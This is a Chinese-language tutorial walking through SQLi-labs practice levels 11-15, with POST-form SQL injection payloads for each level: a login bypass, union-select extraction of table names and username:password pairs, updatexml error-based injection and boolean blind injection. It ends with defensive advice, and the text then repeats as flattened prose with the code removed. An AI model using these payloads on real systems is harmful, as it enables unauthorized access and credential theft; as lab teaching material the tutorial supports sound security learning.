SQLi-labs学习sql注入(四)
字数 1016 2025-09-01 11:26:03

SQL注入实战教学:SQLi-labs关卡11-15详解

环境准备

  • 操作系统:Windows 7
  • 部署工具:phpstudy2018
  • 靶场环境:SQLi-labs

第11关:基于POST表单的单引号闭合注入

源码分析

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

注入步骤

  1. 初步测试

    • 输入1和1:页面提示登录失败,SQL执行正常
    • 输入单引号:出现语法错误
    • 输入双引号:无错误
    • 结论:单引号闭合
  2. 构造万能密码

    username: 1' or 1=1 #
    password: [任意或留空]
    
    • 1'闭合第一个单引号
    • or 1=1构造恒真条件
    • #注释掉后续语句
  3. 联合查询注入

    • 获取数据库名:
    1' union select 1,database() #
    
    • 获取表名:
    1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 1,1) #
    

    或获取所有表名:

    1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') #
    
    • 获取字段名:
    1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') #
    
    • 提取数据:
    1' union select 1,(select concat(username,':',password) from users limit 1,1) #
    

技术要点

  • POST请求参数名需通过查看页面源码确认
  • 浏览器会对特殊字符编码,可使用Hackbar或BurpSuite
  • 多个参数用&连接

第12关:双引号加括号闭合注入

注入步骤

  1. 测试单引号:无报错
  2. 测试双引号:出现报错,显示小括号
  3. 结论:")闭合

注入方法

与第11关相同,只需将单引号替换为双引号加括号:

1") or 1=1 #

第13关:单引号加括号闭合的报错注入

注入步骤

  1. 测试闭合方式:

    • 输入1':报错显示小括号
    • 结论:')闭合
  2. 报错注入:

    • 获取数据库名:
    1') and updatexml(1, concat(0x7e, database(), 0x7e), 1)#
    
    • 获取表名:
    1') and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x7e), 1)#
    
    • 获取字段名:
    1') and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), 0x7e), 1)#
    

第14关:双引号闭合的报错注入

注入步骤

  1. 测试闭合方式:双引号引起报错
  2. 结论:"闭合
  3. 注入方法与第13关类似,使用双引号替代单引号加括号

第15关:布尔盲注

特点

  • 只有"登录成功/失败"的简单反馈
  • 无法直接获取数据

注入方法

  1. 测试闭合方式:

    username: 1' or 1 -- a
    password: 1
    

    成功登录则确认单引号闭合

  2. 布尔盲注示例:

    • 测试数据库长度:
    1' or length(database())=8 -- a
    
    • 其他布尔盲注技术可依次类推

关键知识点总结

  1. 闭合方式判断

    • 单引号'
    • 双引号"
    • 单引号加括号')
    • 双引号加括号")
  2. 注入技术

    • 联合查询注入
    • 报错注入(updatexml)
    • 布尔盲注
  3. MySQL特殊语法

    • 注释符号:#-- (注意空格)
    • 信息查询:information_schema数据库
    • 字符串连接:concat()
    • 分组连接:group_concat()
  4. POST注入注意事项

    • 参数名需查看源码确认
    • 特殊字符会被浏览器编码
    • 可使用工具直接发送原始POST数据
  5. 防御建议

    • 使用参数化查询
    • 对输入进行严格过滤
    • 最小权限原则
    • 错误信息不直接返回给用户

通过这五个关卡的练习,可以掌握基本的SQL注入技术,包括不同闭合方式的判断、多种注入方法的应用,以及如何应对不同的页面反馈情况。

SQL注入实战教学:SQLi-labs关卡11-15详解 环境准备 操作系统:Windows 7 部署工具:phpstudy2018 靶场环境:SQLi-labs 第11关:基于POST表单的单引号闭合注入 源码分析 注入步骤 初步测试 输入1和1:页面提示登录失败,SQL执行正常 输入单引号:出现语法错误 输入双引号:无错误 结论:单引号闭合 构造万能密码 1' 闭合第一个单引号 or 1=1 构造恒真条件 # 注释掉后续语句 联合查询注入 获取数据库名: 获取表名: 或获取所有表名: 获取字段名: 提取数据: 技术要点 POST请求参数名需通过查看页面源码确认 浏览器会对特殊字符编码,可使用Hackbar或BurpSuite 多个参数用 & 连接 第12关:双引号加括号闭合注入 注入步骤 测试单引号:无报错 测试双引号:出现报错,显示小括号 结论: ") 闭合 注入方法 与第11关相同,只需将单引号替换为双引号加括号: 第13关:单引号加括号闭合的报错注入 注入步骤 测试闭合方式: 输入 1' :报错显示小括号 结论: ') 闭合 报错注入: 获取数据库名: 获取表名: 获取字段名: 第14关:双引号闭合的报错注入 注入步骤 测试闭合方式:双引号引起报错 结论: " 闭合 注入方法与第13关类似,使用双引号替代单引号加括号 第15关:布尔盲注 特点 只有"登录成功/失败"的简单反馈 无法直接获取数据 注入方法 测试闭合方式: 成功登录则确认单引号闭合 布尔盲注示例: 测试数据库长度: 其他布尔盲注技术可依次类推 关键知识点总结 闭合方式判断 : 单引号 ' 双引号 " 单引号加括号 ') 双引号加括号 ") 注入技术 : 联合查询注入 报错注入(updatexml) 布尔盲注 MySQL特殊语法 : 注释符号: # 、 -- (注意空格) 信息查询: information_schema 数据库 字符串连接: concat() 分组连接: group_concat() POST注入注意事项 : 参数名需查看源码确认 特殊字符会被浏览器编码 可使用工具直接发送原始POST数据 防御建议 : 使用参数化查询 对输入进行严格过滤 最小权限原则 错误信息不直接返回给用户 通过这五个关卡的练习,可以掌握基本的SQL注入技术,包括不同闭合方式的判断、多种注入方法的应用,以及如何应对不同的页面反馈情况。